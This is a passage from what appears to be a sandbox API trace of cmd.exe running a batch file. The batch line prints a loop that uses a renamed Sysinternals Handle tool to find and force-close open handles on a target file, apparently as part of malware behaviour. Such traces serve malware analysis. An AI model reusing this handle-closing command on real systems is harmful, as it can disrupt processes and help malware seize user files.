(_String1="cd", _String2="DIR") returned -1 [0089.468] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0089.468] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0089.468] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0089.468] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0089.468] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0089.468] GetConsoleTitleW (in: lpConsoleTitle=0x3bf044, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.468] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7142e0, Size=0x64) returned 0x7142e0 [0089.468] GetProcessHeap () returned 0x700000 [0089.468] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7142e0) returned 0x64 [0089.469] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.469] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.469] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x3bee00, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x3bedf8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x3bedf8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0089.469] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7143c0, Size=0x62) returned 0x7143c0 [0089.469] GetProcessHeap () returned 0x700000 [0089.469] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7143c0) returned 0x62 [0089.469] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3beb9c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x3beb9c, lpFilePart=0x3beb98 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x3beb98*=0x0) returned 0x26 [0089.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0089.470] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3be918 | out: lpFindFileData=0x3be918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7144f0 [0089.470] FindClose (in: hFindFile=0x7144f0 | out: hFindFile=0x7144f0) returned 1 [0089.470] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3be918 | out: lpFindFileData=0x3be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7144f0 [0089.470] FindClose (in: hFindFile=0x7144f0 | out: hFindFile=0x7144f0) returned 1 [0089.470] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0089.470] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3be918 | out: lpFindFileData=0x3be918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7144f0 [0089.470] FindClose (in: hFindFile=0x7144f0 | out: hFindFile=0x7144f0) returned 1 [0089.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0089.470] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0089.470] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0089.470] GetProcessHeap () returned 0x700000 [0089.470] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x717710 | out: hHeap=0x700000) returned 1 [0089.470] GetEnvironmentStringsW () returned 0x716b70* [0089.470] GetProcessHeap () returned 0x700000 [0089.470] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb94) returned 0x717710 [0089.470] FreeEnvironmentStringsW (penv=0x716b70) returned 1 [0089.470] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.470] GetProcessHeap () returned 0x700000 [0089.470] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714490 | out: hHeap=0x700000) returned 1 [0089.470] GetProcessHeap () returned 0x700000 [0089.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714430 | out: hHeap=0x700000) returned 1 [0089.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.471] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.471] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0089.471] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.471] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0089.471] SetConsoleInputExeNameW () returned 0x1 [0089.471] GetConsoleOutputCP () returned 0x1b5 [0089.472] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0089.472] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3bf47c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0089.472] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0089.472] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.472] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7143c0 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714350 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7142e0 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714270 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e20 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714210 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7141b0 | out: hHeap=0x700000) returned 1 [0089.472] GetProcessHeap () returned 0x700000 [0089.472] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x701248 | out: hHeap=0x700000) returned 1 [0089.473] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.473] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0089.473] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf460, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf460*=0x94, lpOverlapped=0x0) returned 1 [0089.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0089.473] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.473] GetFileType (hFile=0x78) returned 0x1 [0089.473] _get_osfhandle (_FileHandle=3) returned 0x78 [0089.473] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0089.473] GetProcessHeap () returned 0x700000 [0089.473] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724be8 [0089.473] GetProcessHeap () returned 0x700000 [0089.473] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x4008) returned 0x728c00 [0089.474] GetProcessHeap () returned 0x700000 [0089.474] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xe) returned 0x700e20 [0089.474] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"ImagingDevices.exe.mui\"") returned 0x18 [0089.474] GetProcessHeap () returned 0x700000 [0089.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e20 | out: hHeap=0x700000) returned 1 [0089.474] GetProcessHeap () returned 0x700000 [0089.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x728c00 | out: hHeap=0x700000) returned 1 [0089.474] GetProcessHeap () returned 0x700000 [0089.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0089.474] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7012a8, Size=0x12) returned 0x7012a8 [0089.474] GetProcessHeap () returned 0x700000 [0089.474] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7012a8) returned 0x12 [0089.474] _wcsicmp (_String1="/L", _String2="/F") returned 6 [0089.475] _wcsicmp (_String1="/D", _String2="/F") returned -2 [0089.475] _wcsicmp (_String1="/F", _String2="/F") returned 0 [0089.475] GetProcessHeap () returned 0x700000 [0089.475] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x70f508, Size=0x3c) returned 0x714258 [0089.475] GetProcessHeap () returned 0x700000 [0089.475] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714258) returned 0x3c [0089.475] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714258, Size=0x6e) returned 0x714258 [0089.475] GetProcessHeap () returned 0x700000 [0089.475] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714258) returned 0x6e [0089.475] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714258, Size=0x84) returned 0x714258 [0089.476] GetProcessHeap () returned 0x700000 [0089.476] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714258) returned 0x84 [0089.478] _tell (_FileHandle=3) returned 226 [0089.478] _close (_FileHandle=3) returned 0 [0089.478] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf234 | out: _Buffer="\r\n") returned 2 [0089.478] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.478] GetFileType (hFile=0x7) returned 0x2 [0089.478] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.478] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f4 | out: lpMode=0x3bf1f4) returned 1 [0089.478] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.478] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf220, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf220*=0x2) returned 1 [0089.480] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0089.480] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0089.480] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3bf230 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0089.480] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3bf230 | out: _Buffer=">") returned 1 [0089.480] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.480] GetFileType (hFile=0x7) returned 0x2 [0089.480] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.480] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f8 | out: lpMode=0x3bf1f8) returned 1 [0089.481] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.481] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf224, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3bf224*=0x26) returned 1 [0089.481] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x3bf4b4 | out: _Buffer="FOR") returned 3 [0089.481] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.481] GetFileType (hFile=0x7) returned 0x2 [0089.481] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.481] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.482] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.482] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x3) returned 1 [0089.482] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x3bf4b4 | out: _Buffer=" /F") returned 3 [0089.482] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.482] GetFileType (hFile=0x7) returned 0x2 [0089.482] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.482] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.483] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.483] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x3) returned 1 [0089.483] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x3bf4b4 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0089.483] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.483] GetFileType (hFile=0x7) returned 0x2 [0089.483] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.483] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.483] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.483] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x20) returned 1 [0089.484] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x3bf4b4 | out: _Buffer=" %I IN ") returned 7 [0089.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.484] GetFileType (hFile=0x7) returned 0x2 [0089.484] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.484] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.484] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x7) returned 1 [0089.486] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x3bf4b0 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner`) DO ") returned 67 [0089.486] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.486] GetFileType (hFile=0x7) returned 0x2 [0089.486] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.486] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf470 | out: lpMode=0x3bf470) returned 1 [0089.486] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.486] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x3bf49c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf49c*=0x43) returned 1 [0089.487] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.487] GetFileType (hFile=0x7) returned 0x2 [0089.487] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.487] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf47c | out: lpMode=0x3bf47c) returned 1 [0089.487] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.487] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x3bf4a8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x3bf4a8*=0x1) returned 1 [0089.488] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.488] GetFileType (hFile=0x7) returned 0x2 [0089.488] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.488] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf460 | out: lpMode=0x3bf460) returned 1 [0089.488] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.488] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x70f510*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x3bf48c, lpReserved=0x0 | out: lpBuffer=0x70f510*, lpNumberOfCharsWritten=0x3bf48c*=0xc) returned 1 [0089.489] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf498 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0089.489] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.489] GetFileType (hFile=0x7) returned 0x2 [0089.490] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.490] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf458 | out: lpMode=0x3bf458) returned 1 [0089.490] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.490] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf484, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf484*=0x26) returned 1 [0089.491] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf4b4 | out: _Buffer=") ") returned 2 [0089.491] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.491] GetFileType (hFile=0x7) returned 0x2 [0089.491] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.491] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0089.491] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.491] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x2) returned 1 [0089.492] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf4d4 | out: _Buffer="\r\n") returned 2 [0089.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.492] GetFileType (hFile=0x7) returned 0x2 [0089.492] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.492] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf494 | out: lpMode=0x3bf494) returned 1 [0089.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.492] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4c0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4c0*=0x2) returned 1 [0089.493] GetProcessHeap () returned 0x700000 [0089.493] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x2c) returned 0x714408 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xc) returned 0x700e20 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xc) returned 0x700e38 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xe) returned 0x700e50 [0089.494] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0089.494] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0089.494] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0089.494] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0089.494] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0089.494] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0089.494] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0089.494] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x3bf3f0, _Radix=0 | out: _EndPtr=0x3bf3f0*=",6 delims=: \"") returned 3 [0089.494] wcstol (in: _String="6 delims=: \"", _EndPtr=0x3bf3f0, _Radix=0 | out: _EndPtr=0x3bf3f0*=" delims=: \"") returned 6 [0089.494] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0089.494] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0089.494] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0089.494] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e50 | out: hHeap=0x700000) returned 1 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xe) returned 0x700e50 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x700e20, Size=0xe) returned 0x700e68 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x700e68) returned 0xe [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x700e38, Size=0x14) returned 0x714440 [0089.494] GetProcessHeap () returned 0x700000 [0089.494] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714440) returned 0x14 [0089.495] _wpopen (_Command="bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner", _Mode="rb") returned 0x76be2960 [0089.664] feof (_File=0x76be2960) returned 0 [0089.664] ferror (_File=0x76be2960) returned 0 [0089.664] GetProcessHeap () returned 0x700000 [0089.664] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x108) returned 0x714460 [0089.664] fgets (in: _Buf=0x714468, _MaxCount=256, _File=0x76be2960 | out: _Buf="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n", _File=0x76be2960) returned="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n" [0091.708] feof (_File=0x76be2960) returned 0 [0091.708] ferror (_File=0x76be2960) returned 0 [0091.708] GetProcessHeap () returned 0x700000 [0091.708] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714460, Size=0x208) returned 0x714460 [0091.708] GetProcessHeap () returned 0x700000 [0091.708] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714460) returned 0x208 [0091.708] fgets (in: _Buf=0x7144ae, _MaxCount=442, _File=0x76be2960 | out: _Buf="\r\r\n", _File=0x76be2960) returned="\r\r\n" [0091.708] feof (_File=0x76be2960) returned 0 [0091.708] ferror (_File=0x76be2960) returned 0 [0091.708] GetProcessHeap () returned 0x700000 [0091.708] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714460, Size=0x308) returned 0x714460 [0091.708] GetProcessHeap () returned 0x700000 [0091.708] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714460) returned 0x308 [0091.708] fgets (in: _Buf=0x7144b1, _MaxCount=695, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0092.037] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 1 [0092.039] GetProcessHeap () returned 0x700000 [0092.039] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714460, Size=0x9e) returned 0x714460 [0092.039] GetProcessHeap () returned 0x700000 [0092.039] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714460) returned 0x9e [0092.039] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7144b1, cbMultiByte=73, lpWideCharStr=0x714468, cchWideChar=73 | out: lpWideCharStr="Unable to extract x64 image. Run Handle from a writeable directory.\r\r\n\r\r\n") returned 73 [0092.040] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x724be8, Size=0x3c) returned 0x724be8 [0092.040] GetProcessHeap () returned 0x700000 [0092.040] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x724be8) returned 0x3c [0092.040] GetProcessHeap () returned 0x700000 [0092.040] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724c30 [0092.040] GetProcessHeap () returned 0x700000 [0092.040] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x724c30, Size=0xb8) returned 0x724c30 